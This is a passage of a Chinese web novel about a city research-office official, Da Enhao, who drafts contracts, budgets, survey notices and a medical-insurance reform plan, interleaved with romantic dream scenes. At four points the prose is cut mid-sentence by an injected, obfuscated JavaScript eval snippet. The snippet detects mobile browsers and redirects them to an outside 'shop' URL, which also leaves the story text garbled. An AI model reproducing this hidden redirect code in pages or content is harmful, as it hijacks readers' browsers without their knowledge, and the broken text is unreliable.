办会的宾馆是全滨河市最好宾馆，也是全河陇省最好的宾馆。白天，红旗招展，彩旗飘飘，人进车出，到了晚上，灯壁辉煌，霓虹闪烁，像过大节一样，十分的祥和喜庆。晚上参会宾客下榻，也有达恩豪们单位加班的人员，加班迟了直接洗个澡就睡下，住宾馆不回家了，图个不回来跑路，省事方便，反正晚上单位也很少有人在宾馆住宿的。 新亚欧大陆桥区域经济合作国际研讨会，滨河市政府研究是具体承办单位，准备得充分扎实，各项工作搞得津津有条，絮丝不乱，无论是外宾，还是国内相关领导嘉宾，路桥沿线城市市长和专家学者，都交口称赞，直竖大拇指，都说“这次会议办得很好！” “下面，请达处长把今年初确定的重点课题，《城镇居民医保配套改革的资料汇编》，这是搞好课题的一项基础工作，给大家介绍一下情况。”一天上班时间，单位办公室通知，把医保配套改革课题组的人员，召集到金学盛主任办公室开会，他主持会议时这样对大家说道。 24. 第 24 章 第二十四章爱的美食 “自从我们单位确定开展城镇居民医保配套改革研究课题，接到要进行这个《资料汇编》任务后，我们处以我为主，认真开展了资料的各方搜集，分类，归纳，整理，调整等汇编，以及后期的编辑，校对，装订等工作，经过了半年的挤时间，刁时间，抽时间，在电脑网络上，报纸杂志上，查资料，下载复制资料，打电话，发邮件，找材料，要资料，经过六七个月的努力，完成了这本《资料汇编》。”达恩豪怎么做得就怎么说，稍一停顿，低头翻看着一本装订的材料，继续接着这样照本宣科地说道： “下面，我把《城镇居民基本医疗保险试点工作资料汇编》主要内容，给各位领导和本课题组人员作个简要汇报：《资料汇编》全文共37页，正文字号为小四，共44000多字。主要内容包括10个部分：第一部分，基本医疗保险有关规定简答……第二部分，完善医疗保险制度改革的几个问题……第三部分，实现全民医保需要配套改革……第四部分，借鉴发达国家经验医保全民覆盖需要配套改革……第五部分，建抚市城镇居民参加医疗保险试点工作方案……第六部分，建抚市城镇灵活就业人员参加医疗保险管理暂行办法……第七部分，南岛省关于做好城镇居民基本医疗保险试点工作的意见……第八部分，福梅市人民政府办公室关于做好城镇居民基本医疗保险试点工作的通知……第九部分，北疆自治区政府关于做好城镇居民基本医疗保险试点工作的实施意见……” “刚听了达处长解读他今年搞的这个医保配套改革《资料汇编》，和大家可能想法一样，是个很好的工具书，实际操作的《手册》，为我们搞好这个课题打下了坚实的基础。达处长会后给课题组成员每个人都发一份书面《资料汇编》的小册子，以供参考学习……”金学盛主任坐在自己的办公桌椅间，拿着这个医保配套改革《资料汇编》，一脸的严肃认真，给在座的鲁希雷等这个课题组成员们，下达着这样一项学习研究的任务。 “达处长，刚科技局计划处李处长打电话了，怎么填写好，你具体和他联系，填报我们今年搞的‘平安滨河建设’课题的《合同书》和《预算表》……”过几天，在单位上班时间，金学盛主任打电话把达恩豪叫到他办公室，对达恩豪这样说道。 “金主任，好的。”达恩豪历来是有求必应，对工作认真负责，从不推脱，便站在金学盛主任办公桌前，这样满口承当，爽快答应道。 卧槽！垃啊圾！搞调查研究，搞课题材料，搞科技项目，财务你也得懂，达恩豪感觉自己啥都得干会干，都成了真正的全才，名符其实的通才了。 好家伙，这份《滨河市科技计划项目任务合同书》共有7页之多的表格，比较烦琐的。第1页，封面要填项目名称：滨河平安社区建设的调查研究，管理单位（甲方）：滨河市科技局，承担单位（乙乙方）：滨河市政府研究室，起止时间：2007年1月至2007年12月。 第2页，封二是填表说明。第3页，一、项目基本情况，项目类别填（D）是软科学，市科技局主管科室，法规处，项目负责人：……。项目承担单位，单位名称：滨河市政府研究室，项目负责人：金学盛，电话：……，开户银行：……，账号：……，详细地址：……，单位类型：（7）政府机关。二、项目经费性质及总金额（万元），经费来源，拔款：2.5，贷款：，自筹：2.5，其他：，总额：5，备注：。经费开支预算，1.设备购置费：2.能源材料费：预算经费总额：0.2，3.试验外协费：4.材料、印刷费：预算经费总额：0.6，其中市科技局下拔经费支出预算：0.6，5.租赁费：，6.会议及调研费：预算经费总额：3.0，其中市科技局下拔经费支出预算：1.3，7.人员经费：预算经费总额：0.5，其中市科技局下拔经费支出预算：0.3，8.管理费：预算经费总额：0.2，9.鉴定、验收费：预算经费总额：0.3，其中市科技局下拔经费支出预算：0.3，10.其他费用：预算经费总额：0.2。合计：预算经费总额：5.0，其中市科技局下拔经费支出预算：2.5。 第4页，三、主要研究内容和要达到的主要技术、经济指标：……第5页，四、计划进度目标：……第6页，五、需增添的设备和用途：六、合同条款：第7页，签定合同双方：管理单位（甲方）：滨河市科技局，负责人（签章）……（公章）……2007年9月20日，承担单位（乙乙方）：滨河市政府研究室，单位负责人（签章）……项目负责人（签章）……（公章）……2007年9月20日。 …… 达恩豪下午下班回家，吃饭看电视，完了躺在床上，丢掉了白天烦琐的课题工作，马上就进入梦乡了…… 这小伙儿下班准时就骑着自己的一辆自行车，到这美女家去了。因为这个西北小县城的发展起步比中东部地区迟了一点，发展速度也就慢了些。县城还没有通公交车。再说了骑自行车也是一种锻炼，对身体好。 这小伙儿放好锁牢了自行车，就驾轻就熟，轻车熟路地进了这家县食品公司小院，西北角的一个两间的房间，两间办公室改造的一个套间房，这美女父亲单位给职工解决的家属住房。 这小伙儿吃了这美女做得晚饭，不过是家常便饭，粗茶浅饭，洋芋面条，凉拌白菜。 经常吃，这小伙也知道怎么做这个饭。先和面，面团要和硬些，否则走水就不能用了，再用长擀面杖，把硬面团擀成圆形的面帐子，要擀得又匀又薄，比纸皮稍厚点。为了不让粘连，在擀面的过程中，要一次一次地摊开面片，把面泊均匀地撒一层再擀。 擀好的面皮，撒上一层面泊，中间一刀切成两个半圆，直边对半圆边，半圆边对直边，两个半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136233|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆面皮这样相错叠加，再沿直皮折叠两下，从中间切一刀成两截，再把每截分别沿横断面细切，最后将细切的面皮抖开抖散，以放粘连。 面条喜欢细得就切细些，也有人喜欢宽的就切宽些。先把洗净切好的洋芋块块或者条条或者片片，在水是里煮七八在熟捞出，再下入面条，面条快熟时，再把煮过的洋芋调入面条汤里，然后再调酱油。用铁勺少半勺青油打开，炝加少许盐和调料的葱花，再加入醋炝，最后倒入面条汤锅中。 凉拌白菜也是有讲究的，把白菜掰成一片一片的，洗干净了，在开水锅里煮熟，捞出在凉水里浸泡，待凉了再捞出来，沥干大水，切成条条，然后，装碟撒盐，用铁勺少半勺青油打开，用醋炝菜，最后加点凉开水，搅拌均匀即可。 蹭完了晚饭，这美女又领着这小伙儿，去她爸爸的办公室里，两个青年男女，一前一后，在众目睽睽之下，又打开了“副经理室”的房间，大方窗户，淡绿色的光，又亮了，门口溢出的一束白光，一对年轻人进去后，随意一声“哐铛”，瞬间就消失了。 诺大的院子里，就是整个一个公司的地盘了，马上又恢复了平静，只有这间办公室和隔壁两间房间的灯亮着。西南角有铁栅栏大门，西边是一排出售肉食品的门市部，南边是一排两个大大的单位仓库，东边是一排前面有个小门廊的公司大会议室。 月色如水，洒在大地上，如此安宁平静的夜晚，这小伙儿与这美女，在这个房间里，又开始了新一段的美好而甜蜜的时光，刻骨铭心的记忆…… …… 达恩豪弄了两天，又是找单位办公室财会人员查询，又是自己编撰，才填好了那份《滨河市科技计划项目任务合同书》，又开始下一项工作，再填写这份《滨河市科技三项经费项目（预）决算表》。 好家伙，这份预算表又是4页，页码虽少，但填写得内容挺难。封面，第1页要填项目名称：滨河平安社区建设的调查研究，承担单位（盖章）：滨河市政府研究室，项目负责人：金学盛，电话：……，财务负责人：金学盛，电话：……，开户银行：……，帐号：……，填报时间：2007年9月××日。 第2页，一、计划实施的进度和完成的目主要标。2007年1月至2月：制定项目研究方案，设计课题调研提纲，学习、查阅和收集有关资料，搞好项目研究的前期工作。2007年3月至5月：深入滨河各县区和重点企业与单位进行实地调研，了解有关情况，收集有关资料、数据，掌握第一手资料。2007年6至7月：组织研究人员分析汇总各种研究资料，并赴申海、广福、辽大等地学习考察。2007年8月至10月：组织研究起草《滨河平安社区建设的调查研究》课题报告，并完成初稿撰写工作。2007年11月至12月：组织讨论修改课题报告，完成定稿、印发工作，并组织申请课题评审、验收、总结。 25. 第 25 章 第二十五章调研通知 二、下达文件：下达文件部门：滨河市科技局，文件号：滨科字（2007）××号，滨河市财政局，文件号：滨财建发（2007）××号。拔款指标：2.5万元，项目起止时间：2007年1月至2007年12月。三、项目投资及资金构成（单位：万元）：项目投资总额：5，其中：拔款：2.5，贷款：自筹：2.5，其他：。四、本次拔款主要用途（单位：万元）：设备购置费：，能源材料费：，试验外协费：，材料印刷费：0.6，租赁费：，会议及调研费：1.3，人员经费：0.3，管理费：，鉴定验收费：0.3，其他：，合计：2.5。 第3页，五、本次拔款支出明细：费用和物资名称：材料印刷费：预算经费：0.6，决算经费：0.6，人员经费：预算经费：0.3，决算经费：0.3，鉴定验收费：预算经费：0.3，决算经费：0.3。 第4页，六、新增效益：……其它效益和社会效益情况说明：《滨河平安社区建设的调查研究》课题，通过深入细致的调查研究，采用问卷调查、实地走访、查阅资料、座谈交流的方法，全面客观总结了我市近年来平安社区建设主要做法，深入分析了在平安社区建设中存在的主要问题和困难，研究制定出我市平安社区建设相应的对策措施，为市委、市政府科学决策提供有价值的重要参考依据。项目单位审核意见：（公章）年月日，市科技局审核意见：（公章）年月日，提交的预（决）算表文本需打印（A4）。一式四份（附软盘），每份必须盖章。 以上这两份表册，共11页填写了3500多字。 “今天召集大家来，开个医保配套改革课题的专题会议。现在都九月头了，马上三季度就完了，这个课题是我们研究室今年室列的重大课题，可以说是我们单位重头戏，市政府和常市长都很重视，必须立即加快进度，一天也不能再耽搁了……”过两天，到了九月初的一天，上班时间，办公室通知到金学盛主任办公室开会。参加会议的有牛嘉成副主任，坐在双人沙发靠里面的窗户下，另一边的靠门双人沙发上坐着达恩豪，靠东墙的三人沙发上，坐着经济发展研究处主任科员杨尚义，秘书处佟若贤，综合处强晓宁。金学盛主持会议，心里有些发急，神色特别严肃认真，脸色阴沉地对与会各位同事这样说道。 “……牛主任你牵头，达处长你负责起草我们课题组到市属各部门单位调研的通知文件，以市政府办公厅的名义发文……”金学盛主任继续主持会议，讲着说着就布置安排起工作来了，讲过来说过去，其实也就安排布置了一件事情，找个人写材料的活儿，最后全面砸到了老实人达恩豪的头上，看人下菜，能者多劳，吃惯的嘴，跑惯的腿。 “噼哩啪啦！”达恩豪散会回到经济发展研究处房间，坐到了自己的办公桌椅间，打开电脑开始弄材料。达恩豪加班加点赶进度，不到两天时间，这篇材料就写好了，共写了4页1700多字。 材料的标题是：《滨河市政府办公厅关于开展城镇居民基本医疗保险试点配套改革工作调研的通知》。 收文单位：市政府有关部门，市属有关单位。 正文内容大意：前面带个帽子，是前言。阐述了当前建立建立城镇居民基本医疗保险制度，是我国在建立城镇职工基本医疗保险制度和新型农村合作医疗制度之后又一重要举措，是解决广大城镇居民最关心、最直接、最现实利益问题的重大决策等重大深远的现实意义。为什么要开展全市城镇居民基本医疗保险试点配套改革调研，就是建立城镇居民基本医疗保险制度也是一项涉及多项制度的系统工程，要根据深化医药卫生体制改革的总体要求，统筹协调医疗卫生、药品生产流通和医疗保障体系等相关配套改革政策和制度的衔接。这次调研的依据，根据市政府领导批示精神，市政府调研组将于近期深入有关部门和单位就医保配套改革的相关工作进行专题调研。 为了切实做好我市城镇居民基本医疗保险试点配套改革工作，现通知市政府有关部门、市属有关单位做好如下五个方面的调研工作的有关事宜：一、调研内容……二、医保配套改革工作调研提纲及任务分工：（一）确保试点工作按期到位。调研单位：市劳动局……（二）医疗卫生体制改革。调研单位：市卫生局……（三）药品生产流通体制改革。调研单位：市商贸委……（四）医疗保障体制改革。调研单位：市卫生局……（五）全社会医疗保障体制改革。调研单位：市劳动局……三、调研组组成人员……四、调研时间和方式：此次调研从9月中旬开始至下旬结束，具体调研时间另行通知。调研采取提供书面材料、召开座谈会、听取汇报等形式进行。五、几点具体要求……调研组联系人……联系电话…… 落款：滨河市政府研究室，二ＯＯ七年九月七日。 …… 达恩豪下午下班回家，吃过晚饭，看完了电视，躺在床上睡着了…… 这小伙儿拉这美女的手，那是习以为常了，只要旁边没有人在，别人看不见。这小伙儿就能很自然地牵上了这美女的手，而且是攥着双手也可以的。 这小伙儿也爱拉，爱牵，爱攥，这美女也愿意给这小伙儿给拉，给牵，给攥。这小伙儿已经摸清了这美女的心理了，表面的半推半就，其实心里是全就不推。应了《三国》上的那句老话了：“关公打黄盖，一个愿打，另一个愿挨”。 这小伙儿在前辈取来的谈恋爱的经，这时也在他脑海里浮现：“小伙不坏，姑娘不爱”！“死缠烂打”！“好汉子无好妻，赖汉子娶仙女”！对头！不错！还真有几分道理呢！ 这两个年轻的男女，四目相对，深情地相望着，眉目间传递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136234|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着深深的爱，切切的情，长长的恋！ 这爱在目光中交流！这爱在眼神里流淌！这爱在心手间传递！这爱在时间里延续！ 这小伙儿和这美女，真是天生的一对，地凑的一双。业务越来越熟悉，熟能生巧，两个青年男女不用人催，像磁铁一样，一看见，一无人，两个人就吸引到了一齐，这是多么幸福的吸引，无比甜蜜的吸引！ 好像是几辈子再没有见过的人，前世有缘，今生注定，才相隔一天，这一见面，就又粘在了一齐，这是多么幸福的相粘，无比甜蜜的相粘！ 两个人深情相拥了，你抱着个她，她也抱着你，这是多么幸福的相拥，无比甜蜜的相拥！ 这爱的拥抱在时间里流淌，这爱的拥抱在陶醉里流淌，这爱的拥抱在幸福里流淌，这爱的拥抱在甜蜜里流淌！ 这小伙儿刚从拥抱里一清醒，就把大嘴唇主动地对接上了这美女的小嘴唇上。 一大一小的两个嘴唇，相焊接了一样，粘贴在一起，再也分不开了。 两个异性的嘴唇，随着两个青年的小脑袋，转来扭去的，就是分不开，而且是越来越紧密了。 既然爱情把两张异性的嘴唇对接在了一起，因此，这对年轻男女的幸福就在唇吻间传递，甜蜜就在唇吻间传递，爱在唇吻间流淌，情在唇吻间流淌，时间在唇吻间流淌！ “怦怦怦”的心跳声，仿佛就在这双异性年轻人的耳边山响，像擂鼓一样，每声都在不断地放大，加速！ 这一对青年男女的气息，都是那么地智短暂而急促，难受而兴奋的喘不上气来，刺激而迷恋的欲罢不能！ “哐哐哐！”就在这一刹那，这办公室的房门突然响了几下，这按点儿的敲击声，听起来很生硬，又蛮横，也很霸道，好像是领导在给下属下达强迫不顾接受的命令，也好像是长辈在教训做错事的晚辈语气…… …… “……到外省五个城市进行课题调研的文件，请牛主任牵头审核，达处长负责具体起草……”又过了一周，市直相关部门和单位的医保配套改革课题调研刚搞完，达恩豪正在网上搜集这外省五城市的市情和医保配套改革的情况，整理熟悉一下基本情况，金学盛主任就打电话过来，把达恩豪喊到他的办公室，给主任办公室里还也坐着的牛嘉成副主任两个人这样说道，又安排布置了这样一项工作。 散会后，达恩豪回到经济发展研究处房间，坐在自己的办公桌椅间，开始写这个材料。加班加点，早上班半小时，中午不休息，也多年来没有养成午休的习惯，晚上下班迟上半小时到一个钟点。干了两三天，才把材料写出来，交给牛嘉成副主任看了，未做修改，再交给金学盛主任，稍加收拾就审定通过，报市政府办公厅，一次性通过未作修改，只是套上红头文，发下去落实执行了。这个材料共写了4页1400多字。 26. 第 26 章 第二十六章省外调研 标题是：《关于滨河市城镇居民基本医疗保险试点配套改革学习考察工作实施方案》。 正文内容大意：收文：各有关单位： 为了切实做好我市城镇居民基本医疗保险试点配套改革工作，市政府决定由市政府研究室牵头，有关部门和单位组成学习考察组，赴国家劳动和社会保障部学习医保配套改革的政策法规，赴城镇居民基本医疗保险试点工作较为突出的江赣省江抚市等地区进行考察，学习其在医保配套改革工作中的先进经验，以此促进我市城镇居民基本医疗保险试点工作的顺利进行。现就此次学习考察工作制定如下实施方案。 一、考察时间、地点及路线：（一）时间安排：2007年9月中下旬，具体时间另行通知。（二）地点及路线……二、考察组组成人员……三、学习考察的主要内容……（一）医疗保障体制改革……（二）医疗卫生体制改革……（三）药品生产流通体制改革……四、职责分工及要求：（一）市政府发展研究中心……（二）市劳动和社会保障局……（三）市卫生局…… 落款：滨河市政府研究室，二ＯＯ七年九月十日。 俗话说：“老鼠拉木锨，大头子还在后面哩”，一点都不假。这份材料刚交差了，金学盛主任又给达恩豪安排布置一个新任务。还是这个课题调研的材料，由他再起草一份赴五城市学习考察医保配套改革经验的工作函。 达恩豪继续加班加点干活，爬在电脑屏幕前打字，当天就赶写出这份材料，共写了3页不到1000字。材料的主要内容和大意如下： 题目是：《关于学习考察城镇居民基本医疗保险配套改革工作的函》。 收文单位：××市劳动和社会保障局： 正文内容：我市已与贵市一并被□□确定为首批城镇居民基本医疗保险试点城市。目前，我市城镇居民基本医疗保险各项工作正在有序进行，但由于建立城镇居民基本医疗保险制度是一项涉及多项制度改革的系统工程，要统筹协调医疗卫生、药品生产流通和医疗保障体系等相关配套改革政策和制度的衔接。为了切实做好我市城镇居民基本医疗保险试点配套改革工作，近日，我市组成学习考察组，专门赴国家劳动和社会保障部就如何搞好医保配套改革工作进行了学习请教。国家劳动和社会保障部指出，贵市城镇居民基本医疗保险试点工作已取得了较大进展，值得我们学习借鉴，参观考察，为此，我市学习考察组将于近期（具体时间再行联系）赴贵市就医保配套改革工作有关问题进行学习，请贵市予以支持。 现就学习考察的主要内容函告如下，不足之处请贵市予以完善,并请贵市提供一份较为完整的城镇居民基本医疗保险试点配套改革材料。 一、医疗保障体制改革…… 二、医疗卫生体制改革…… 三、药品生产流通体制改革…… 此函 落款：滨河市政府研究室，二ＯＯ七年九月十日。 “……今年以来，一直都很忙，年初年底都没有时间，我看再不出去就出不去了，挤时间，一定要出去……达处长你起草正式通知，以办公厅名义行文，医保配套改革的课题调研赶紧动身……”到了十月上旬的一天，办公室通知，到金学盛主任办公室开会，达恩豪到主任办公室一看，单位课题组的成员都到了，金学盛主持会议，有些焦急地这样对大家说道。 达恩豪用了不到半天时间，就把个材料写出来了。共写了3页，不到500字的一份简明扼要的正式工作函。因为，前面发过去的五城市的预备工作函，已经把有关事宜都告知的很清楚了。 题目是：《滨河市政府办公厅关于赴外学习考察城镇居民基本医疗保险配套改革工作的函》。 主要内容是：收文单位：苏镇、江抚、建厦、广梅、云曲市政府办公厅（室）： 为了切实做好我市城镇居民基本医疗保险试点配套改革工作，我市将组成学习考察组，于十月中旬赴贵市就城镇居民基本医疗保险试点配套改革工作进行学习考察，请在百忙中给予协助为谢！ 学习考察主要内容和考察组人员名单附后 联系人：佟若贤联系电话…… 滨河市政府办公厅 二OO七年十月八日 附件一：学习考察主要内容…… 附件二：考察组人员名单…… …… 本文正在晋江文学城免费连载中，作者更新不易，请支持正版！！！ 达恩豪下午下班回家，吃过晚饭，看完电视，躺在床上的被窝里好舒服，因写不完的破材料，白天工作劳累疲惫透顶，马上就睡着了…… 这小伙儿今天在单位上班，单位是个全额拔款的事业单位，兰原县农业技术服务中心，由东南面小县城中心位置，搬迁到了西北面城乡结合部。 说这个县是个小县是因为他全县总人口十几万人，而且县城从省城滨河市中心，搬迁到滨河市北部，离滨河市区有五十多仅是，县城东西不过两三公里，南北沿河川地稍长，也不过三四公里，十平方公里的县城，城镇职工也就五六千人，加上所在地的一个佛洞乡的农村居民，县城满打满算，总人口也不过三万人。 你说这县城小不小，县里的人好有一比这样形容说，“县城东头放个屁，县城西头马上就能闻到。”还有一说是这样形容道，“县城北头尿一泡尿，马上就流到县城南头了。” 你说这县城发展缓慢，县里的人身在其中，切身体会，感同身受，编出了一些顺口溜来：“一条公路一条街，电线杆子比树多”，“拉羊皮不沾草，风吹石头跑”，“十年九旱，三年两头旱”。 一条国道穿县城中心而过，是这个小县城唯一一条像样的大街，还是公路。县城的机关单位，商铺门店，企业工厂，职工家属院就坐落在这条主街道两旁边，西边广播电视铁塔的山下，有一条南北向的铁路线，东边与山下河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136235|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沟边所在乡的村庄相联。 “小达，明天我到你们单位上去看你？！”这美女昨天晚上和这小伙儿谈恋爱，在父亲‘副经理’的办公室里，依偎在这小伙儿的温暖怀抱里，情到深处有话要问这小伙，好奇和试探的口气这样说道。 “好啊，荣幸至止，热烈欢迎！！！”这小伙儿抱着这美女丰满柔软的身体，有些迫不及待，无比幸福地这样回答道，多么甜蜜地这样说道，口吻是那样的深情期盼，那样的血气方刚，那样的热望奔放。 这小伙儿拥抱着这美女，听这美女说完了这话，就情不自禁地转过头来，寻找着什么？！ 这小伙儿也拥抱着这小伙儿，也像捡到了什么宝贝似的，感觉这小伙儿转头寻找什么，也忘情地转过头来，也在搜索着什么？！ 好像空中加油机，两个飞机的在空中飞行时，大飞机给小飞机加油一样对接了。 瞬间，这美女的小嘴唇，就和这个小伙儿的嘴唇相对接了，并且越来越紧地粘贴在一齐了。 温馨美好的时刻总是短暂的，幸福的是时刻总是短暂的，甜蜜的时刻总是短暂的。好梦易断，好景不长。 “哐哐哐！”的生硬的敲门声，熟悉而害怕的声音，又一次地打断了这好似梦境一样的相会，一对异性青年男女的缠绵与不舍！ …… 达恩豪等四个课题组的人员，到外省去学习考察，临出发前，原来确定的五个城市变成了四个城市，云曲这个城市不去了。 在国内政府研究室系统，有这样一句话，说“天下的研究室是一家”。达恩豪每到一个城市去学习考察，这实地走访调研，都能得到这个城市政府研究室部门的或多或少地一些支持帮助。 我们出发前，各城市政府研究室，有的是经济发展研究中心，有的是市政府办公厅（室）调研处（科），有的是市政府办公厅（室）亲自接洽。 主要是为达恩豪们这个省会城市调研组，除了安排专车到机场接机，离开这个城市时送机，拉运调研组人员和行李外，就是提前做好日程安排，在什么地方座谈开会，组织那些相关部门单位的领导汇报相关工作，参观考察那些地方，介绍那些情况，都按照事前精心布置的，执行落实。 “河陇省滨河市政府研究室”每到一个城市，在机场出口的大厅护栏外面，早有人高举着上面写着不同字体大小，颜色质地各异的牌子，又是打联系电话，接上头，见面了分外的亲切，又是热情握手，又是亲切地说着“主任您好”的问候，“处长您辛苦”的暄寒问暖，又是帮着提箱子，抢着背大包的，十分地感动，一股暖流就涌上达恩豪的心头了！ 达恩豪真是感慨得很，在单位上自己的地盘上，明争暗斗，尔虞我诈，人不把人当人看待，对职场恹倦了，心里挺疲惫的，活得太累了些。 这出了门就是好，在外面调研，好像远离了世俗红尘一样，把那些东西都暂时地抛之脑后，像超凡脱俗一般，得道升仙似的。 27. 第 27 章 第二十七章上门侦察 参观考察有人陪同，有人恭恭敬敬地迎来送往的，情况有人介绍，坐下了茶水有人倒，记情况材料有人发给他，在渴的时候矿泉水有人递上来，前护后拥的，像个领导一样，达恩豪虚荣心得到了极大的满足，平常的心酸事，工作上的伤心事，一扫而光，这时，心里感觉特别的受用！ 利用休息的半天时间，达恩豪与牛嘉成，佟若贤等四个人商量，都是爱游玩的人，一拍即合。 “好不容易出来一趟，逛一逛这城市的最著名的景点。”牛嘉成微笑着提议道。 “好啊，走吧！”达恩豪笑容可掬地响应道。 “好啊！”佟若贤满脸堆笑地赞同道。 “走呀！”强晓宁胖脸笑开发花一样说道。 到下榻的宾馆门口打车，刚好一辆出租车坐下，不多不少，正好，去参观瞻仰叶帅故居。晚上回来，品尝地方特色饭菜。 到了另一个城市公事办了，利用休息的半天时间，从住的酒店打出租车，去参观凭吊一番，宋代著名政治家、改革家、王宰相故居，转了一圈。找地方品尝地方特色饭菜，完了再回酒店。 再到下一个城市，好不容易公干忙完了，放松一下，利用休息一天的时间，又是坐轮渡，体验一下从未有过的感觉，看到了润扬大桥，坐车穿越了这座大桥…… 游玩欣赏了一番瘦西湖山水园林建筑风光，在二十四孔桥上漫步一回，爬上金山寺的假山，找寻一遭法海和尚的藏身洞，在湖光山色间，流连忘返…… 坐车回来，四个人坐一桌，再品尝一番城市的地方特色美食…… “……不去后悔一时，去过了就后悔一辈子，已经去过的城市，去过的地方，游过的风景名胜，就再也不想去第二次了，你们这次去过的地方我都去过二三次了……你们这次考察也考察了，学习也学习了，赶紧把材料拿出来，最迟不能超过年底……”从省外四个城市参观考察学习回来，金学盛主任召集医保配套改革课题组的四名成员，共五个人，在主任办公室里开专题会议，领导到底还是领导，金学盛对大家这样说道。 会后，牛嘉成副主任，又把课题组成员召集一齐，在他的办公室里又开了一个课题材料起草任务分工会议，达恩豪写一部分，并进行初次统稿，由牛嘉成二次统稿，最后交金学盛主任最终统稿，修改审定上报。 课题组成员，特别是达恩豪，佟若贤和强晓宁，开始编写各自承担的这个课题的材料任务，天天盯在电脑屏上做文章，下功夫，翻资料，网上查寻，敲键盘，点鼠标，忙碌了好几天，到了九月下旬的一天，材料交给达恩豪汇稿初统，再交牛嘉成副主任第二次统稿，基本没有大的修改，最后交给金学盛主任最后修改审定，三统其稿，也无大的内容修改，材料基本成型了。这个材料很扎实，三个人共写了19页计9700多字。 材料的主要内容如下： “滨河市城镇居民基本医疗保险制度配套改革方案 建立城镇居民基本医疗保险制度……特制定城镇居民基本医疗保险制度配套改革实施方案。 一、城镇居民基本医疗保险制度配套改革的指导思想…… 二、城镇居民基本医疗保险制度配套改革的总体目标…… 三、城镇居民基本医疗保险制度配套改革的基本原则 城镇居民基本医疗保险制度配套改革要坚持四条基本原则：一是坚持先试点后推广因地制宜的原则……二是坚持统筹协调注重资源整合的原则……三是坚持量力而行循序渐进的原则……四是坚持边起步建设边配套完善的原则…… 本文正在晋江文学城免费连载中，作者更新不易，请支持正版！！！ 四、深化医疗卫生体制配套改革 （一）改革卫生资源的配置和调控…… （二）改革城市医疗服务体系…… （三）改革医疗机构管理制度…… （四）改革医院运行机制…… （五）改革医院药品管理制度…… （六）改革卫生事业经费补助办法…… （七）改革医疗服务价格和药品价格…… （八）改革卫生行业作风建设…… 五、深化药品生产流通体制配套改革 （一）推行生产经营规范，确保药品供应质量…… （二）调整药品产业结构，形成特色优势产业…… （三）加大市场开放力度，开展公平有序竞争…… （四）推行现代经营方式，促进集约规模经营…… （五）开展集中招标采购，规范药品购销行为…… （六）推进药品分类管理，保证群众科学用药…… （七）实行医药分开核算，实现医药分别管理…… （八）完善药品管理办法，加强药品价格监管…… （九）深入开展专项整治，确保群众用要安全…… （十）强化药品广告监管，维护群众根本利益…… （十一）切实转变政府职能，不断优化发展环境…… 六、深化医疗保险体制配套改革 （一）加大投入力度，支持医疗保障经办管理机构建设…… （二）建立服务人群和业务量挂钩的经费保障机制，建立医疗保险管理服务奖惩机制…… （三）科学设置参保、缴费、就医、支付等各种流程，实现医疗保障经办机构和定点医疗机构的直接结算…… （四）整合现有医保管理资源，加快建设统一高效的平台…… （五）探索制定流动人口在不同地区和不同医保制度之间保险关系转移接续办法…… （六）加快医疗保障的立法建设，为医疗保障制度的推行提供法律保证……” 达恩豪领着两个年轻人弄材料，自己单独写了一块，大约篇幅10多页，共5000多字，就占了整个材料的多一半，剩余的少一半则由佟若贤和强晓宁两个青年人写，三个人写得全稿材料，交由达恩豪汇稿，初统稿，第一次统稿，修改审核，完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136236|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成后交给副主任牛嘉成第二次统稿。 将近一万字的大材料，其实主要担子压在达恩豪的肩膀上，能者多劳，这是金学盛和牛嘉成商量好的，单位领导们的共识和精心安排布局。傻子都能看得出来，明显是乔太守乱点鸳鸯谱，张冠李戴，看人下菜碟！ 如果按职责分工，这个材料明显是妥妥社会发展研究处的工作范围，绝对不是达恩豪他们经济发展研究处的工作范畴，按机构改革“三定”方案职责划分，经济发展研究处工作职责是全市一二三产的发展中重大问题、难点问题、焦点问题的调查研究等。 …… 